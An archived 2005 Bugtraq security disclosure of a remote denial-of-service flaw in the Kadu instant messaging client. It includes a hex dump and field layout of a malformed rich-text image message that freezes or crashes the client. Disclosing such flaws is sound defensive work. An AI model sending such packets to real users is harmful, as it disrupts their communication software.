[41384] in bugtraq
Kadu remote DoS
daemon@ATHENA.MIT.EDU (michal@tux.bz)
Mon Nov 28 16:07:23 2005
Date: 28 Nov 2005 16:25:30 -0000
Message-ID: <20051128162530.5499.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: michal@tux.bz
To: bugtraq@securityfocus.com
Hi.
Kadu is a Gadu-Gadu instant messaging open source client.
By sending message with rich_text ,image
basic informations and nothing else to speciffic UIN thru Gadu-Gadu server Kadu is stopping to respond or is shutting down immidietly. Behavior depends on version
0.4.2
In most cases Kadu freezes and sending lots of packets to Gadu-Gadu server.
0.5.0pre
Shuts down immidietly.
Example of packet which is send by server:
0x0040: XXXX 0a00 0000 2b00 0000 XXXX XXXX 9e05 .G....+.........
0x0050: 0000 4954 8a43 0800 0000 4141 4141 4141 ..IT.C....AAAAAA
0x0060: 4100 0210 0001 0004 0000 0009 01cc cccc A...............
0x0070: ccbb bbbb bb .....
0x0042-0x0045 Type of packet. In this case 0x0a means incomming message
0x0046-0x0049 Length of the rest
0x004a-0x004d source UIN
0x004e-0x0051 seq. number
0x0052-0x0055 time
0x0056-0x0059 class of message
0x005a-0x0061 text "AAAAAAA\0"
0x0062 init rich_text
0x0063-0x0064 Length of the rest
0x0065-0x0066 position in text
0x0067 font atribute
0x0068-0x006a color in rgb
0x006b-0x006c unknown
0x006d-0x0070 image size
0x0071-0x0074 crc32 of image
Michal Gizowski michal[at]tux.bz
